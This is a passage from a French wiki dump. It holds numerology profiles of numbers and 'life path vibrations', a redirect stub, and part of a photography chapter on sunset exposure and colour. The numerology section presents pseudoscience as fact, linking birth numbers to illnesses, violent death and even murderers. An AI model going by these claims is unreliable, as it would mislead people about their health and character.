personnelles parce que leur foi s’avère souvent défaillante. IDÉAL: Pour le “7” l’image doit être inattaquable. Il recherche la paix et le silence pour mieux méditer sur ses idéaux de perfection. À cause de cela, l’imprévu et le bruit le désarçonnent. Idéal tellement élevé que sa santé morale en subit les conséquences. PERSONNALITÉ: On le perçoit comme un être froid et réservé...” On ne sait pas toujours sur quel pied danser avec lui!” Il juge facilement les actes des autres. Par sa grande force intérieure, il peut faire passer ses croyances. DESTINÉE: Le “7” aura beaucoup de leçons a apprendre... tout en ayant comme tâche d’éduquer le monde. Il est philosophe, ce qui le porte à connaître le pourquoi et le comment des choses et de la vie. Il est difficile à comprendre. Il est là pour sonder et comprendre les choses. ===8=== ACTIF: Qualités: Force physique - Aime le pouvoir - Administrateur - Equilibre - Grande logique - organisateur - Contrôle sur les choses matérielles de la vie. Faiblesses: Egoïste - Esprit tranchant - Parfois malhonnête - Insensible - Autoritaire - Tyrannique. HÉRÉDITÉ: En général, son milieu lui aura enseigné le sens de l’organisation en lui faisant percevoir clairement la différence entre ce qui est possible et ce qui ne l’est pas. IDÉAL: Il vise la réussite dans tout ce qui touche l’aspect financier. Il est très ambitieux et veut être le meilleur en tout sans tenir compte des autres. La faiblesse et l'inefficacité ne sont pas acceptables pour lui. Il dépense beaucoup d’énergie pour arriver à ses fins. Ses ambitions sont sérieuses et précises. Tendance à se surestimer. PERSONNALITÉ: Il attire le respect car c’est un chef naturel... et on le craint. Il aime les situations claires et nettes. Il s’avoue difficilement vaincu. La flatterie n’a aucune emprise sur lui. DESTINÉE: Son chemin est difficile. Il possède un magnétisme distinctif, c’est un de ces êtres étranges qui fascine ceux qui le côtoient. Il aura à trouver le juste équilibre entre le matériel et sa spiritualité. Peut soulever des montagnes en bien ou en mal. Souvent la destinée 8 se termine par une mort violente (accident). ===9=== ACTIF: Qualités: Concentration - Solitaire - Méditatif - Modeste - Fantaisiste et tolérant. Faiblesses: Méfiant - Triste - Avare - Découragé - Les illusions sont très fortes - Refuse de voir la réalité en face. HÉRÉDITÉ: Les personnes provenant d’un tel milieu ont mené habituellement une vie solitaire. Il retire, en général, de son éducation une expérience bénéfique peu importe le milieu familiale où il évolue. Il s’adapte facilement à n’importe quelle situation. IDÉAL: Les natifs vivant avec cet idéal, sont très sensibles aux besoins des autres. Ce sont des fantaisistes ayant un sens artistique très développé. Ils désirent exprimer l’amour et la compassion. Ils aiment partager leurs expériences et leurs connaissances. Ses sentiments le briment, le détruisant par le fait même. PERSONNALITÉ: Ce type de personne est souvent perçu comme un être rassurant. C’est un bon confident... il trouve toujours le mot juste pour rassurer. Il est tolérant. DESTINÉE: Les grands débats le passionnent! C’est un altruiste... il devra appliquer et enseigner la perfection des sentiments. L’amour universel... voilà ce qu’il devra répandre sans rechercher l’amour personnel. S’exprime par la musique, les formes et les couleurs. ===11=== ACTIF: Qualités: Déterminé - Persévérant - Intelligence supérieure. Faiblesses: Révolté - Dramatique - N’aime pas l’usage de la force à son endroit. IDÉAL: Sa ligne de conduite...l’accomplissement de ses idéaux! Il rêve du jour où le genre humain pourra vivre dans la paix.(plus envers l’humanité que l’individu). Il prétend posséder la recette miracle. PERSONNALITÉ: Il est souvent perçu comme un appui humanitaire. La paix et la réconciliation sont son cheval de bataille. DESTINÉE: Les personnes qui doivent vivre à l’intérieur de cette destinée, sont des êtres dont les ambitions sont élevées et ils jouissent d’horizons élargis. Ils ont une mission spéciale...l’humanité compte sur eux! ===22=== ACTIF: Qualités: Intuitif - Ambitieux - Grandes idées - Réalisateur - Talentueux - Dirigeant - Pense et agit en fonction de tous - Gouvernant. Faiblesses: Vagabondage - Tendance à l’emportement - Dictateur - Nie son émotivité. Grands conflits intérieurs. IDÉAL: Ses idéaux rejoignent ceux du “11”, mais il est plus discipliné que ce dernier. L’œuvre doit être parfaite! PERSONNALITÉ: Contrôle...contrôle...contrôle sur l’humanité! On n’a pas besoin de dire que l’on remarque sa soif de pouvoir! Il attire les foules grâce à son verbe hors du commun. On le perçoit comme un illuminé ou un sage. DESTINÉE: La vie lui demande beaucoup, organiser, bâtir, c’est l’avenir qui en dépend! ... Mais il lui faudra prendre garde à ne pas tout contrôler car cela pourrait le conduire à sa propre destruction. Il est très important qu’il se fixe un objectif afin de conserver sa santé morale et physique. Ils sont écoutés et suivis. ===Le chemin de vie ou vibration de naissance=== ::Détermine le comportement de l'individu, ses forces et ses faiblesse, ses opportunités et ses limites. Le tout biensûr à la base, l'Homme étant libre. Il est permis à tous d'en changer et de s'améliorer durant son cheminement sur le plan physique. *+ aspect positif *- aspect négatif ===VIBRATION 1.=== Le commandant. Nombre de la personnalité. + Le “1” à une grande soif de tout connaître. Il a un esprit créatif, du courage, de grandes ambitions...L’image du Soleil. Il a le pouvoir de faire travailler les autres. Il aime à être vu et admiré... Comme le Soleil! Son courage et sa volonté lui permettent de lutter pour réussir. Il suit ses idées mais a besoin des autres pour s’affirmer. Parfois il peut devenir esclave de son indépendance. C’est un chef de file né. Il aime une vie active. Il a la capacité de franchir les obstacles sur son chemin, il recommence souvent à zéro dans la vie. Il a une grande force morale. Son destin est de commander et non d’obéir. Il méprise énormément la bassesse. Il respecte ses engagements, Il est fier de lui et de ses réalisations. C’est un extraverti. - Par contre, à cause de son côté négatif, il peut se laisser influencer malgré lui. Il est nerveux et égoïste. Son esprit entêté le mènerait vers la jalousie. Il n’aurait alors aucun égard pour les autres. Il peut être porté à exagérer les faits. Il admet difficilement ses torts.Il est arrogant, agressif et violent. Souvent imbu de lui-même. Normalement extraverti, il s’intériorise quand les choses vont moins bien. Il peut manquer de jugement dans les moments difficiles. Socialement: Il a le sens de l’amitié mais devient impitoyable envers ceux qui lui font du mal. Parfois il est difficile d’avoir des contact profond avec le “1”. Il recherche la compagnie de personnes importantes pour son prestige personnel. Amour: + Pour vivre avec lui il faut faire preuve de docilité et de fidélité. Il s’associe avec une personne moins forte que lui afin de pouvoir diriger. Il a des idées très personnelles de l’amour, du mariage et du foyer. Grand sentimental et très passionné. - On dit que le “1” aime ou n’aime pas, donc respectez son indépendance et admirez-le de tout cœur. Il vit difficilement sans de nombreuses sympathies et relations. Travail: Il devrait être son patron. Il est maître de la réussite. S'il travail pour un patron, il faudra lui donner la liberté de décisions. Il travail longtemps même sous la pression. Il a sa façon particulière de travailler. Il est créatif et réalisateur. Il adore le risque, la passion pour les grands projets, il est conscient de sa valeur. Santé: Tête, système nerveux, cerveau, les yeux, maladies de la colonne vertébrale. ===VIBRATION 2.=== '''Le sentimental.''' '''Nombre de l’équilibre et de la dualité.''' + Sous la domination de la Lune il est perpétuellement en changement. Le 2 est diplomate. Il seconde plus qu’il ne commande et préfère la réussite laborieuse plutôt que le risque et l’aventure. Le 2 est tranquille et réservé. Il aime les ambiances harmonieuses... sans disputes. Il est plus souvent dominé par l’émotion que par l’intellect. Sous une apparence calme il est souvent tendu. Il se fait beaucoup d’amis, car il sait écouter, comprendre et réconforter. Il ne parle pas de lui-même. En cas de crise, il va se replier sur lui même. Il est charmant et souvent de belle apparence. Il est apte à améliorer l’image des gens et des choses. Il est prudent dans ses entreprises et ses amours. Il n’aime pas vivre seul. Il est sociable, sensible et tendre. - Il est paresseux et négligent. Il est incapable de prendre des décisions. Il manque d’assurance et de confiance en lui. Il va subir les événements plutôt que de les contrôler. Il est hypocrite et se laisse aller à des bavardages inutiles et dangereux. Il se laisse berner facilement. Socialement: Il est apte à mieux comprendre les femmes. Il est conciliant. Il aime discuter. Il va se lier et s’associer pour avoir des contacts humains. Amour: Il est un partenaire parfait. Il est chaleureux, affectueux. Il a le désir de faire durer l’union quitte à en être contrarié. Romanesque, hypersensible, il a besoin d’une personne pour le ramener à la réalité. Il est naïf en amour comme en amitié. La fidélité n’est pas son fort. Les 2 font de très bonnes mères poules. Travail: Le 2 est imaginatif, très coopératif mais fait de la compétition. Doué pour l’enseignement, sérieux, travailleur... Il s’entend bien avec ses collègues. Il réussit par ses propres qualités mais ne lutte pas vraiment. Il est conciliateur. (Mode, esthétique, designer...). Santé: Système digestif, organes génitaux, gorge, seins. Il ont souvent des malformations qui ne se voient pas tout le temps.(Malformations internes ou des petits riens externes.) ===VIBRATION 3=== '''Le communicateur.''' '''Nombre de l’adaptation de l’idée:''' + La vibration 3 se compose des vibration 1 et 2, le Soleil et la Lune. Donc, l'optimisme du 1 et la sensibilité du 2 en font une vibration merveilleuse... la vie vécue à son maximum. Le 3 est le symbole de l'affection, du talent, de la popularité. Il est généralement de bonne humeur. Il peut aussi être très colérique. Il est doué pour les études, il dispose de talents certains et il possède l'art de changer la matière. Il est enthousiaste, optimiste et très énergique. Le 3 aime la compagnie (3 = foule). Il aime exprimer son enthousiasme. Il aime l'argent pour le plaisir de le dépenser. Il sait recevoir et il sait se faire beaucoup d'amis. Il n'est pas rancunier. Facile à comprendre. Il a horreur de la vulgarité. Créatif et imaginatif. Belle éloquence. Respectueux des lois. Douce personnalité. - Il peut être très colérique. Il arrive que le 3 soit orgueilleux et égoïste. Il a tendance à être superficiel. «Grand parleur et petit faiseur». Il a beaucoup d'appréhensions et d'exagérations. Sa douceur peut devenir d'une violence inouïe. Il est dispersé. Il se décourage facilement. Socialement: Le 3 est l'ami idéal. Il a des relations agréables avec autrui. Il est sensible aux remarques d'autrui. Se vexe facilement mais ne le montre pas. Amour: Le 3 est capable d'un amour profond et durable. Cependant il est perçu comme volage et instable. Il a un dynamisme très puissant, des besoins affectifs et sociaux très importants. Il a souvent plusieurs centres d'intérêts, mais il serait faux de dire qu'il néglige son foyer. C'est un sensuel qui ce laisse tenter par les plaisirs de la vie, mais...avec discrétion. Travail: + Réussite dans de nombreuses voies, car il dispose de plusieurs talents; surtout dans les domaines qui nécessitent le contact humain. Il a beaucoup moins de chance dans les travaux routiniers et techniques. En général, il sait s'entourer d'une bonne ambiance professionnelle. Employé modèle, sait amadouer. La chance jour un rôle important. - Pour améliorer sa situation il va se servir de ses relations pour y arriver. Santé: Gouverne fonctions respiratoires. Peau. Les mains, bras et les épaules. ===VIBRATION 4.=== '''Le réalisateur.''' '''Nombre de la création et da l'organisation.''' + Le 4 est le symbole de la justice et de l'équilibre. Le 4 est travailleur, studieux et digne de confiance, Il est rarement créateur. Il se lance dans une entreprise après avoir pesé le pour et le contre. Il prépare minutieusement un plan de travail. Le 4 aime l'argent, surtout pour sa sécurité plutôt que pour le plaisir. Il ne supporte pas l'injustice. Il se place souvent en tête des mouvements de révolte contre les abus de pouvoir. Il aime le calme, la discrétion. Il n'a pas beaucoup d'amis. Par contre il est franc, loyal, discret, droit et honnête. C'est un conservateur des traditions ancestrales. Il a une grande force de caractère. Il est doté d'un équilibre qui le soutient dans les événements marquants. Il est conscient du travail qu'il fait et de chaque parcelles de réussite. Il a une protection tout au long de sa vie. Il cache sa grande sensibilité. - Il a rarement le sens de l'humour. Il est entêté voir borné. Il est avare, pessimiste, maniaque de la routine. La lui amène à vivre des situations marginales. Il est parresseux. Il est tellement sérieux qu'il en est ennuyant. Il manque de souplesse de caractère. Socialement: Il se lie facilement d'amitié avec autrui, mais il met du temps à accorder sa confiance. À partir de là, il devient un amis fidèle. Il aime le plaisir discret. Il déteste les futilités. Il adore se faire servir. Amour: En tête à tête un 4 est timide, ce qui rend les rapports difficiles. Il est un petit peu gauche dans le domaine sentimental. Dans une relation il faut des événements graves avant que cette dernière ne soit remise en question. Le 4 ne tombe pas facilement amoureux. Il considère le mariage comme une entreprise qui demande réflexion. Peu enclin aux démonstrations affectives. Travail: Le 4 possède une exceptionnelle faculté de concentration et il est très méticuleux. Le 4 sait être un employé exemplaire et sérieux qui grimpera les échelons professionnels. Il supporte mal les erreurs et les imprudences. Il excelle dans le domaine de l'immobilier et l'administration. Il travaille pour assumer sa vie. Il termine toujours ce qu'il a commencé. Santé: Troubles spasmodiques - Palpitations - Intestins - Foie - Estomac - Fragile aux infections ===VIBRATION 5.=== '''Le curieux.''' '''Nombre de la vie.''' + Le 5 est impulsif et spontané. Rapide dans son tempérament, épris de liberté et souvent inquiet. Très résistant il agit selon l'impulsion du moment. Il est dynamique et sait prendre des décisions. Il répond du tac au tac. Les circonstances de la vie lui font connaître toutes sortes d'expériences. Liberté et progrès, "vivre et laisser vivre" est son mot d'ordre.C'est un caméléon, il s'adapte à tout: situation, milieu. On le croit superficiel, mais c'est parce qu'il peut traiter plusieurs sujets à la fois. La sexualité et le jeu s'avère très importants pour lui. Sa nature le porte à risquer et à s'aventurer. - Il est irritable, nerveux, maussade et menteur. Il est doué d'un certain charme mais il a très peu d'amis à cause de son impulsivité et son manque de patience. Il a un attrait pour les expériences variées; drogue, jeu, vol... Une fois une chose comprise il l'arrête. Curieux. Il est impatient et veut réussir trop vite. Socialement: + Il a une conversation agréable et attrayante. Il est sympathique. - Il n'est pas constant dans ses relations (il aime le changement). Il promet facilement mais tient difficilement. Amour: Le 5 attire les admirateurs par son charme et son magnétisme. Il est plus sensuel que sentimental. Le mariage pour lui est souvent une loterie, tout est bon ou tout est mauvais, selon le partenaire. Si le 5 est bien compris et peu exprimer son romantisme et que son affection est reliée à une sensualité, il est alors un conjoint formidable. Dans le cas contraire, il devient maussade, silencieux et parfois colérique. Il prêche l'amour et la fidélité mais il ne fait pas. Le monde des sentiments lui cause des inquiétudes. Il ne peut se sentir privé de liberté. Il peut se montrer jaloux et possessif. Travail: Il dispose généralement d'une forte personnalité. Il a du talent, de l'énergie, il est intelligent et cela le mène au succès. Il recherche la vie intense, la réussite sociale, les implications publiques sont importantes. Il a besoin d'une activité intense. Il peut se réaliser dans tous les domaines à condition que ce ne soit pas routinier. Il sait négocier avec beaucoup de verve. Santé: Cœur- Aorte - Région dorsale. ===VIBRATION 6.=== '''Le serviteur.''' '''Nombre de l'harmonie.''' + Le 6 en général est fidèle dans ses amitiés et il est digne de confiance. Il est humain, mais possède surtout le sens de la famille. Parfois il en fait trop. Généralement d'apparence calme, il est charmant. Il est médiateur lors des conflits. Il porte chance aux autres. Il va faire n'importe quelle concession pour garder la paix et l'harmonie. Il aime et procure le confort. Il aplnît les situations familiales les plus compliquées. Il est grand psychologue face aux autres. - Il est instable. Il peut passer de la douleur à la plus grande des colère à cause de son hypersensibilité. Le 6 aime recevoir des amis mais ne reçoit que les gens qu'il veut. Il est généreux et par conséquent la proie des gens sans scrupules. Il pique des colères légendaires. Il vit plus pour les autres que pour lui. Il est râleur. Il se laisse dominer par des personnalité plus fortes. Il est possessif à l'excès. Il ment pour se couvrir. Pour ne pas montrer ses faiblesses. Il vit beaucoup d'angoisse, supporte mal la souffrance morale. Socialement: Il aime recevoir. Il veut essayer de plaire à tout le monde, ce qui l'amène à adopter plusieurs mentalités. Amour: Le 6 tombe facilement amoureux dès son adolescence. Son amour est de courte durée mais très profond et intense. Il lui arrive de rechercher éperdument l'amour. Il a peur d'être étouffé par un excès de tendresse et d'affection inexprimées. Il est très possessif. Il est râleur. Il dramatise ses difficultés affectives. Il pardonne mais n'oublie pas. Il est prêt a faire les concessions les plus aberrantes pour ne pas rester seul. Ils vivent plusieurs crises au court de leur vie. Travail: Il n'est pas trop ambitieux...il aime son confort. Il réussit bien dans les postes de confiances, il aime les professions nécessitant le contact humain ( médecin, mécanique, alimentation.). Il assume beaucoup de responsabilités qu'on lui donne. Ne fait pas un patron. Par sécurité matérielle il va travailler dans un même endroit, même s'il n'est pas satisfait des conditions. Santé: Mauvaise élimination,( fièvres et maladies infectieuses). - Enclin aux accident - Les jambes sont une partie faible - Facilement dépressif. ===VIBRATION 7.=== '''Le perfectionniste.''' '''Nombre de la raison et du mystère.''' + Le 7 est en quête de l'intellect et de la philosophie. C'est un penseur, un analyste. Tous les domaines l'intéresse, il est curieux. Il aime souvent la solitude et il sait se ménager des temps d'isolement. C'est un perfectionniste autant pour lui que pour les autres. Il est solitaire et réservé. Il se livre peu, souvent timide, il préfère les petits groupes. C'est un fervent d'occultisme soit par curiosité ou par spiritualité. Il n'aime guère les sentiers battus. Il exprime son originalité par tous les moyens. C'est un mystique par excellence. Il a un tel pouvoir de pensée qu'il peut influencer à distance. Il est très méticuleux. Il fonctionne mieux seul. Peut sonder les hautes sphères de l'univers et de la spiritualité. Il a une excellente mémoire. - Énigmatique et mystérieux, il vit dans sa tête. Les choses matérielles ne l'intéressent pas. Il considère les émotions comme inutiles. Quand il est détaché de la réalité il opte pour les paradis artificiels. Toujours son côté cérébral avec lequel il peut être cruel et despote. Socialement: Il sélectionne ses amis. Il démontre une certaine indépendance, voir à se passer des autres. Il a le don de paraître sans être. Amour: Il se marie souvent jeune ou pas du tout. Il lui est difficile en vieillissant d'exprimer ses sentiments et ses émotions. Il est surtout plus gentil qu'affectueux. Il est plutôt attiré par la recherche intellectuelle et philosophique que par la conduite d'un bonheur conjugal. Pour être aimé, il doit apprendre à aimer. Il cache ses émotions. Il n'est guère sentimental car son monde est cérébrale. Travail: Le 7 aime se sentir supérieur aux autres quoiqu'il préfère travailler seul. Il aime les sciences, l'enseignement et la religion. Il peut réussir en affaire grâce à ses idées, mais il craint le travail routinier. Consciencieux et travailleur dans l'accomplissement de ses tâches au travail, il peut cependant changer brusquement d'emploi sans avertissement et sans explication. Il peut être un très bon chercheur, astrologue ou religieux. Santé: Glandes - Sécrétion - Cheveux - Oreilles - Maladies psychosomatiques - Sujet aux angoisses - Enclin aux drogues et aux médicaments. ===VIBRATION 8.=== '''Le vainqueur.''' '''Nombre du pouvoir et de l'organisation.''' + Le nombre 8 est le nombre de puissance, de force et de succès. Le 8 possède un grand pouvoir d'auto-contrôle, Il a une grande volonté; il est très ardent voire fanatique. Il peut connaître les succès les plus fabuleux... ou les échecs les plus cuisants. Il est dur et peu clément tant envers lui même qu'envers les autres. Souvent le 8 paraît froid et distant, il exprime mal ses sentiments. En réalité, il est chaleureux et espère de beaucoup conquérir l'amitié des autres mais sort peu de sa réserve. Il dégage un magnétisme étrange et particulier. Il est rude et renfermé aux gens qui ne l'intéressent pas. Il combat jusqu'au bout ses adversaires et les obstacles qu'il rencontre, nul obstacle ne l'arrête. Il n'ont pas de demi-mesure. Il entraîne les indécis avec lui. L'argent et le pouvoir ont une grande place dans la vie et il entretient presque des rapports sentimentaux avec eux. Quand il a une idée dans la tête rien ne l'arrête. Il ne supporte ni retard, ni opposition( tout ce qui est opposé à lui). Se sort des impasses les plus invraisemblables. - Il est soupe-au-lait. Il est impulsif. Il manque de logique. Il est antisocial. Jaloux jusqu'à l'obsession. Il peut être un lâche parfait. Sa vie est un effort constant car rien ne lui est acqui facilement. Il peut sacrifier les autres pour arriver à ses fins. Socialement: N'est pas à l'écoute des autres, car l'opinions d'autrui et secondaire, Il décide qu'il a raison, point final. On aime et admire le 8 sa force, audace, témérité. Amour: Il est pas patient avec son ses partenaires. Classe ses amours aux même titre que ses affaires. (S'il est heureux en affaire, il est heureux en amour.). Enclin aux drames passionnels. Il peut connaître le grand amour à condition d'être compris. Le 8 peut aimer à la folie. Il peut un jour être plein de prévenance et d'affection et le lendemain se montrer totalement absent. Il n'en aime pas moins pour autant. C'est un trait de son caractère auquel il faut s'habituer. Travail: Le 8 a une très grande force d'autodiscipline et de concentration. Il est efficace et rapide. Il peut être prodigieux dans le bien ou le mal. C'est un St-Thomas. Les petits détails l'agacent. Il se crée sa situation par ses efforts personnels. Santé: Cœur - Colonne - M.T.S. - Paralysie - Nerf sciatique. ===VIBRATION 9.=== '''L'idéaliste.''' '''Nombre du talent et de l'idéal.''' + Le 9 est le nombre de la noblesse et du mysticisme. Il est sensible aux besoins des autres, des victimes et des malades. Il cherche à résoudre les grands problèmes. Il aime la recherche philosophique et, ou occultiste. Il recherche l'argent pour aider les autres. C'est un rêveur vigoureux, courageux et déterminé. Il utilise très peu ses qualités...son but dans la vie c'est l'amour universel. Le 9 sait se faire aimer de nombreuses personnes. Il se passionne profondément pour de grandes causes. Généralement réservé, distant et indépendant, il ne facilite pas ses rapport avec son entourage... un jour gai le lendemain triste. Il peut vivre son destin intensément et maintenant. Il a tendance à s'attacher à un rêve qu'il gardera secret. Caractère d'apostolat. Il est altruiste. Fin psychologue, capable de réconforter les personnes en détresse. Il aime les études. Personnalité entière. Comprend toute les vibrations. - Parfois insaisissable. Il a des obstacles de taille à surmonter au cours de sa vie. Il peut se laisser aller à des plaisirs, alcool, drogues... Autant peuvent-ils être élevés que décadents. Socialement: Il aime les gens, mais il les juge sans aimer l'être. Parfois les rapport sociaux sont difficiles avec lui, sa personnalité déconcerte les autres. Hospitalier, généreux, dévoué. N'aime pas les discussions violentes. Amour: Le 9 est toujours fidèle et loyal. Il considère le mariage comme sacrés. Cependant, il est rarement le conjoint parfait, il préfère consacrer son temps à des buts humanitaires. Pas très sentimental, ni romantique. Il est affectueux à de petites doses. Pourtant il a besoin de se sentir aimé. Fidèle, prévenant. Agréable et fantaisiste. Affectueux, mais plutôt discret et platonique. Travail: Le 9 a besoin d'aider les autres. Il peut avoir du succès devant un public s'il a quelque chose de passionnant à exprimer (politique, théâtre, ect.). Le 9 aime ce qui est droit, il ne travaille avec efficacité que s'il croit vraiment à ce qu'il fait. Il peut exercer les carrières lui permettant d'exprimer ses qualités artistiques et l'audiovisuel. Santé: yeux - Genoux - Dents - Os - Rides - Maladies longues et incurables. ===VIBRATION 11=== '''Le visionnaire.''' '''Le nombre du visionnaire.''' + Le 11 est très intuitif, visionnaire. Il a des pensées profondes qui lui donne la capacité de dévoiler les mystères de la vie. Plusieurs ont une mission à accomplir. Celle-ci leur est dévoilée à un moment donné de leur vie, soit en rêve ou par un autre événement. Le 11 possède le talent nécessaire pour éduquer les autres. Il a de solides convictions et l'expression artistique est un atout dans sa vie. Les autres recherchent sa présence pour être dirigés et guidés. On dit qu'il vit un pied sur la planète et un autre dans le cosmos. Il reçoit la vérité par la voyance au profit de l'humanité. Il mène des grands mouvements, sans distinction de race, de couleurs. Il est porteur d'un message pour l'homme concernant les lois naturelles et cosmiques. - Il devient introverti, matérialiste et irréfléchi. Il peut être révolté. S'il utilise mal son pouvoir il peut devenir dangereux pour lui et les autres. Il faut qu'il comprenne que ses facultés exceptionnelles lui ont été données pour bâtir et non pour détruire. Socialement: Il ne juge pas. Il est très tolérant en amitié. Ses facultés intellectuelles ne sont généralement pas reconnues. Amour: Le 11 peut tout vivre et tout accepter ou presque. Il est important que le partenaire soit sur la même longueur d'onde. Le 11 est un bon parent. Il peut aimer plusieurs personnes à la fois. Travail: Le 11 symbolise l'identification à la conscience et à la possibilité d'accomplir son destin. Il s'intéresse positivement à l'esprit humain, à la vérité et au progrès social. Les sciences occultes et l'ésotérisme le passionnent. Santé: Bègue - Spasme nerveux - Très jeune la motricité est difficile. ===VIBRATION 22=== '''Le bâtisseur universel.''' '''Nombre de la puissance intérieure.''' + Le 22 peut trouver des solutions à des problèmes que les autres perçoivent insurmontables. Ils ont du génie pour le sens pratique. Il est passé maître dans l'art de diriger les autres. De caractère vif et réservé sa vie est une lutte perpétuelle. Il a une mission plus grande que le 11 à accomplir. C'est pour cette raison que plusieurs consacrent leur vie à l'humanité. Il a une mentalité supérieure à la masse. Ses pensées et sentiments sont supérieurs à la moyenne. Il est guidé par des forces supérieures à l'intellect. Sa vie ne lui appartient pas. Le 11 transmet et le 22 applique. - Il a un esprit aventurier allié a une ambition sans mesure. Ce qui en fait un être fermé qui n'écoute aucun conseil, il préfère exercer le pouvoir. Chemin difficile à vivre. Toutes les richesses mentales conduisent parfois le sujet à des errances et aux délire mental. Engendre aussi des assassins. Par sa façon d'être il fait peur, dû a sa force et extrême pouvoir. Ils sont des être tourmentés. Socialement: Le seul critères le bien-être de tous. Il représente le miroir de l'âme pour certain (ou bien le fuit ils sont attiré par lui). Amour: Le 22 a des aventures amoureuses précoces. Pour vivre avec un 22, il faut être patient car il est tellement occupé. Il préfère faire l'amour par «correspondance». La stabilité dans sa vie de couple le sécurise. Il se sent à l'écart dans une relation de couple. Tant d'amour et de tendresse à donner qu'une personne ne lui suffit pas, il lui en faut plusieurs, mais il vit chaque relation intensément. Travail: Quelque soit la profession, il devra avoir une bonne dose d'autonomie. Talentueux, le 22 est capable de maîtriser presque tout. Il est visionnaire et a des intuitions très fortes. Santé: Troubles psychiques - Système endocrinien - Sécrétion - Hormones - Sperme - Glandes ===L'expression=== Numérologie 5536 22836 2005-10-12T06:39:05Z Dav 665 [[Numérologie]] déplacé vers [[La Numérologie]]: Ajout D, un titre plus generale, car je vais touche a plusieur formes de numérologie traditionnelle #REDIRECT [[La Numérologie]] Photographie - 31 - Les couchers de soleil 5539 23143 2005-10-15T00:28:38Z Jean-Jacques MILAN 114 /* Galerie de photos */ {{Photographie}} == Généralités == Le coucher (et le lever) du soleil sont des moments privilégiés pour les photographes lorsque la nature se pare de belles couleurs chaudes qui vont du jaune d'or au pourpre en passant par toutes les nuances du rouge, du rose ou du mauve. Les mauvaises langues disent d'ailleurs qu'il y a deux sortes de photographes : ceux qui photographient le lever du soleil et ceux qui photographient son coucher ... question de rythme de vie ! Au cours des années 1980 les couchers de soleil furent particulièrement somptueux ! Non, ce n'est pas une plaisanterie ... Le 18 mai 1980, l'explosion du mont Saint-Helens projeta dans la haute atmosphère des milliers de tonnes de fines poussières qui ont mis près d'une dizaine d'années à retomber sur terre. Entre temps, la [[Photographie - 06 - Diffusion de la lumière|diffusion de Rayleigh]] fit les délices des photographes ! D'une manière générale, l'aurore et le crépuscule sont rarement intéressants lorsque le ciel est vide et l'air limpide. La présence de brume ou de nuages est quasi nécessaire à l'obtention de belles photographies, mais il en faut ni trop, ni trop peu. == La restitution des couleurs == Nous sommes là dans un des cas où les automatismes des tireuses (en photographie argentique) et des appareils numériques se font piéger le plus facilement. Ils confondent en effet très facilement les teintes particulières des scènes photographiées avec de simples dominantes colorées et opèrent alors des corrections qui sont purement et simplement catastrophiques : le déplacement chromatique se fait vers les couleurs complémentaires, les teintes brillantes et chaudes des parties claires se trouvent ramenées vers le gris tandis que les zones sombres deviennent verdâtres. Ceux qui chargent leur appareil avec des films pour diapositives (type lumière du jour) ont un avantage certain car ils peuvent refuser les tirages des laboratoires tant que ceux-ci ne respectent pas les teintes de l'original. À partir de négatifs couleur c'est beaucoup plus délicat s'il n'y a pas de tirage positif de référence. Avec les appareils numériques, il est impératif de fixer la balance des blancs sur la position lumière du jour, quand l'appareil le permet. Aucun film coloré n'est nécessaire et les faux couchers de soleil obtenus en fin de journée avec des filtres orangés sont presque toujours immédiatement reconnaissables. Les meilleures lumières se présentent généralement en automne et en hiver, très rarement au plein cœur de l'été. == Mesure du temps de pose == Avant d'aller plus loin, il faut être bien conscient qu'un coucher de soleil peut présenter des contrastes trop importants pour que l'on puisse enregistrer toutes les valeurs sur une seule image. Ceci est vrai aussi bien en argentique qu'en numérique, car les caractéristiques de base des capteurs sont grosso modo celles d'un film de 100 ISO. Ces contrastes élevés obligent à soigner particulièrement l'exposition. === Le soleil est encore très apparent === Sa lumière risque d'influencer de façon prépondérante le posemètre de l'appareil, dans ce cas l'image obtenue sera bien trop sombre et beaucoup de détails essentiels seront perdus. Avec le soleil « en pleine pastille » on met toutes les chances de son côté pour obtenir une image sous-exposée de façon massive (et par dessus le marché mal composée). Sans intervention particulière, lorsque la pose est bonne pour le ciel, tous les éléments placés en contre-jour donneront des ombres chinoises sans aucun détail. Un coup de flash, de préférence discret, peut éventuellement être utile pour « déboucher » les ombres des sujets proches, mais il faut choisir car alors ces éléments deviendront des sujets pouvant entrer en conflit avec le décor. * si l'on peut désactiver l'automatisme ou mémoriser l'exposition, il faut faire une mesure sur des zones de luminosité moyenne et recadrer. On peut aussi mesurer la lumière sur la paume de sa main éclairée par le soleil et '''doubler''' l'exposition (donc multiplier le temps de pose par 2 ou encore ouvrir le diaphragme d'une division). Si l'appareil est sur pied, on peut aussi déterminer l'exposition, après avoir cadré, en plaçant à une certaine distance devant l'appareil un objet capable de faire de l'ombre à l'objectif. Un simple bâton de randonnée peut suffire. * certains appareils sont dotés de programmes spécifiques pour les couchers ou les levers de soleil, la façon dont ils réagiront en fonction du sujet n'est pas toujours facile à deviner. Il faut les essayer à diverses reprises pour se faire une idée ... * un filtre gris dégradé judicieusement positionné peut diminuer dans une large mesure le contraste existant entre le ciel et la terre et donc permettre d'enregistrer davantage de détails. L'image originale sera donc beaucoup plus riche et il en sera de même pour les tirages ultérieurs. Cette méthode est infiniment préférable à un assombrissement du ciel grâce à un traitement informatique, celui-ci étant évidemment incapable de faire apparaitre des détails qui n'auraient pas été enregistrés lors de la prise de vue. * en l'absence d'éléments mobiles on peut aussi opérer sur pied et effectuer deux poses très différentes, l'une nettement surexposée enregistrera les détails des ombres, l'autre nettement sous-exposée enregistrera ceux des hautes lumières ; les deux images seront ensuite superposées grâce à un logiciel de traitement d'image pour donner la photographie finale. Il est impossible de donner des valeurs précises car le résultat dépendra très fortement des contrastes en présence, un rapport de 4 à 8 entre les deux temps de pose (il vaut mieux ne pas toucher au diaphragme) peut donner un bon point de départ. === Le soleil est peu visible, masqué, ou il a déjà disparu derrière l'horizon === C'est le moment d'en profiter ! Lorsque les nuages sont éclairés par dessous et que l'on se situe au-dessus d'un plan d'eau, tous les contrastes sont abaissés, la luminosité semble remonter et il n'y a pas grand inconvénient à laisser l'appareil se débrouiller pour le temps de pose (mais pas pour la balance des couleurs !). Il faut généralement attendre 15 à 20 minutes après la disparition du soleil derrière l'horizon pour que ce petit miracle se produise mais cela ne marche pas à tous les coups, loin de là ! En attendant encore un peu, on atteint progressivement le domaine très différent de la [[Photographie - 31 - La nuit|photograhie de nuit]]. == Galerie de photos == {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:Kaloe.jpg|240px|center]] |'''Château de Kaloe, Danemark (1313)'''<br><br> Le soleil est encore très haut par rapport à l'horizon, les couleurs du couchant commencent à apparaître. Les contrastes violents ont fait perdre des détails à la fois dans les 